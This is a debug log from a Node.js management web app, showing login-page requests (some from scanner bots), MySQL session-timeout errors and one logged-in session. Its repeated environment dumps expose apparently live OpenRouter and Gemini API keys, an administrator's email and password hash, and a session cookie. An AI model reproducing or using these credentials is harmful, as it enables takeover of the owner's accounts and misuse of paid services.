    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '44.242.154.240',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-12T17:01:23.530Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.242.154.240',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '44.242.154.240',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-11T19:08:17.140Z server-connect:router Serving templateView /
2026-02-11T19:08:17.141Z server-connect:app Executing action step identify
2026-02-11T19:08:17.141Z server-connect:app options: { provider: 'security' }
2026-02-11T19:08:17.141Z server-connect:auth No login cookie found
2026-02-11T19:08:17.141Z server-connect:output identity: false
2026-02-11T19:08:17.142Z server-connect:app Executing action step restrict
2026-02-11T19:08:17.142Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-11T19:08:17.142Z server-connect:output restrict: undefined
2026-02-11T19:08:17.283Z server-connect:router Serving templateView /login
2026-02-11T19:08:17.284Z server-connect:app Executing action step identify
2026-02-11T19:08:17.284Z server-connect:app options: { provider: 'security' }
2026-02-11T19:08:17.284Z server-connect:auth No login cookie found
2026-02-11T19:08:17.284Z server-connect:output identity: false
2026-02-11T19:08:17.284Z server-connect:router Render template layouts/authentication
2026-02-11T19:08:17.284Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.122.185.37',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-12T19:08:17.283Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.122.185.37',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.122.185.37',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-11 23:49:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-11 23:49:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 00:47:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 00:47:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 01:12:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 01:12:53' as DATETIME)"
}
2026-02-12T01:45:51.456Z server-connect:router Serving templateView /
2026-02-12T01:45:51.457Z server-connect:app Executing action step identify
2026-02-12T01:45:51.457Z server-connect:app options: { provider: 'security' }
2026-02-12T01:45:51.458Z server-connect:auth No login cookie found
2026-02-12T01:45:51.458Z server-connect:output identity: false
2026-02-12T01:45:51.458Z server-connect:app Executing action step restrict
2026-02-12T01:45:51.458Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T01:45:51.459Z server-connect:output restrict: undefined
2026-02-12T01:45:51.560Z server-connect:router Serving templateView /login
2026-02-12T01:45:51.561Z server-connect:app Executing action step identify
2026-02-12T01:45:51.561Z server-connect:app options: { provider: 'security' }
2026-02-12T01:45:51.561Z server-connect:auth No login cookie found
2026-02-12T01:45:51.561Z server-connect:output identity: false
2026-02-12T01:45:51.561Z server-connect:router Render template layouts/authentication
2026-02-12T01:45:51.561Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'accept-language': 'en-US;q=0.8,en;q=0.7',
    'cache-control': 'no-cache',
    pragma: 'no-cache',
    'sec-ch-ua-platform': 'Linux',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '152.53.210.225',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T01:45:51.560Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '152.53.210.225',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US;q=0.8,en;q=0.7',
    HTTP_CACHE_CONTROL: 'no-cache',
    HTTP_PRAGMA: 'no-cache',
    'HTTP_SEC_CH-UA-PLATFORM': 'Linux',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '152.53.210.225',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 02:58:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 02:58:53' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-12 10:38:55' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-12 10:38:55' as DATETIME)"
}
2026-02-12T11:42:17.010Z server-connect:router Serving templateView /
2026-02-12T11:42:17.011Z server-connect:app Executing action step identify
2026-02-12T11:42:17.011Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:17.064Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-12T11:42:17.068Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-12T11:42:17.117Z server-connect:output identity: 1
2026-02-12T11:42:17.117Z server-connect:app Executing action step restrict
2026-02-12T11:42:17.117Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T11:42:17.118Z server-connect:output restrict: undefined
2026-02-12T11:42:17.118Z server-connect:app Executing action step restrict
2026-02-12T11:42:17.118Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T11:42:17.118Z server-connect:output restrict: undefined
2026-02-12T11:42:17.118Z server-connect:router Render template layouts/main
2026-02-12T11:42:17.119Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T11:42:17.010Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-12T11:42:20.192Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T11:42:20.192Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T11:42:20.193Z server-connect:app Executing action step identify
2026-02-12T11:42:20.193Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:20.193Z server-connect:output identity: 1
2026-02-12T11:42:20.193Z server-connect:app Executing action step restrict
2026-02-12T11:42:20.193Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:42:20.193Z server-connect:app Executing action step identify
2026-02-12T11:42:20.193Z server-connect:app options: { provider: 'security' }
2026-02-12T11:42:20.193Z server-connect:output identity: 1
2026-02-12T11:42:20.193Z server-connect:app Executing action step restrict
2026-02-12T11:42:20.193Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:42:20.194Z server-connect:output restrict: undefined
2026-02-12T11:42:20.194Z server-connect:app Executing action step single
2026-02-12T11:42:20.194Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T11:42:20.196Z server-connect:output restrict: undefined
2026-02-12T11:42:20.196Z server-connect:app Executing action step select
2026-02-12T11:42:20.196Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T11:42:20.197Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T11:42:20.203Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
